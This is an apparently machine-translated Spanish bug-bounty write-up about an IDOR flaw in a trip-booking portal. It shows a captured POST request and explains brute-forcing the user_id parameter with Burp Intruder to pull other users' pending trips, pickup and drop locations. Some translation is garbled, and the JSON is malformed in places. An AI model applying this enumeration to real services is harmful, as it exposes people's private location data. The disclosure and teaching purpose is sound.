IDOR divulga información de viaje pendiente del usuario | parte 01

Dec 02 2022
Hola, increíbles hackers y entusiastas de la seguridad, hoy voy a escribir sobre algo muy importante. La identificación de errores de IDOR que conducen a adquisiciones de cuentas completas sin la interacción del usuario es mi primer error de IDOR.

Hola, increíbles hackers y entusiastas de la seguridad, hoy voy a escribir sobre algo muy importante. La identificación de errores de IDOR que conducen a adquisiciones de cuentas completas sin la interacción del usuario es mi primer error de IDOR.

Hagamos algunos antecedentes sobre IDOR antes de saltar sobre el error

IDOR (referencias de objetos directos inseguros)

Las referencias directas a objetos inseguras (IDOR) son un tipo de vulnerabilidad de control de acceso que surge cuando una aplicación utiliza la entrada proporcionada por el usuario para acceder a los objetos directamente. Las vulnerabilidades de IDOR se asocian más comúnmente con la escalada de privilegios horizontales, pero también pueden surgir en relación con la escalada de privilegios verticales.

Entonces, llamemos al objetivo como target.com. Empecé con el Recon en el dominio principal. Ahora, después de Recon, comencé a comprender cómo funciona la aplicación. Solo abre el eructo. y comience a analizar la aplicación, cómo funciona, cómo procesa la solicitud, vea qué métodos están permitidos. analice el código fuente para cualquier clave de API secreta, o cualquier token, o puntos finales.

Miro y uso algunas funciones como actualizar el perfil, cargar la imagen del perfil y cambiar la contraseña sin la contraseña anterior, y superviso todas y cada una de las solicitudes y respuestas usando Burp.

Error 01: IDOR divulga información de viaje pendiente del usuario .

Programo un viaje y luego hago una solicitud para obtener información sobre mi viaje. para que la solicitud se vea como

/target-dev/index.php/UserPortal/Trip/tripListByUser

Solicitar aspecto

POST /targetservice-dev/index.php/UserPortal/Trip/tripListByUser HTTP/1.1

Anfitrión: app.target.com

Cookie: _ga_4FPFRN1P35=GS1.1.1669338233.4.0.1669338233.0.0.0; _ga=GA1.1.749545081.1669213744; bfp_sn_rf_b10ce94cf299b167b74a6944e0aec9d4=Directo; bfp_sn_rt_b10ce94cf299b167b74a6944e0aec9d4=1669215441778; ci_session=4rk74md1hpc0hrac5dfv3li2av

Agente de usuario: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0

Aceptar: aplicación/json, texto/sin formato, */*

Aceptar-Idioma: en-US,en;q=0.5

Aceptar codificación: gzip, deflate

Tipo de contenido: application/x-www-form-urlencoded

Longitud del contenido: 59

Origen: https://app.target.com

Referencia: https://app.target.com/target-user-portal/

Sec-Fetch-Dest: vacío

Sec-Fetch-Mode: cors

Sec-Fetch-Site: mismo origen

Te: remolques

Conexión: cerrar

{“user_id”:”1654",,”estado”:”pendiente”,” T ARGETAUTHKEY”:8342}

Ahora tenga en cuenta las dos cosas: primero es T ARGETAUTHKEY y segundo es "user_id": "1654".

envíe esta solicitud al repetidor y vea la respuesta que obtiene la información sobre la información del viaje pendiente.

Ahora, después de enviar la solicitud al intruso y fuerza bruta, el "user_id" y la carga útil es Número de inicio de 0000 a 9999 y la secuencia es 1. Haga clic en Iniciar ataque. Y preseleccione la solicitud y la respuesta en la longitud de Booom, obtiene información de viaje pendiente de otro usuario con la divulgación de la identificación del usuario y la ubicación de selección y entrega del usuario.

Respuesta parece

{“user_id”:”418",,”status”:”pendiente”,”LOADMEEAUTHKEY”:8012, Trip_Id:XXXX, Tripe_location: “user pick data”, Tripe_destination: “trip drop location”, Essitemate_total:35000}

Y entonces esta respuesta revela las dos cosas

  1. registrar ID de usuario y ubicación
  2. Datos de viaje

piratería feliz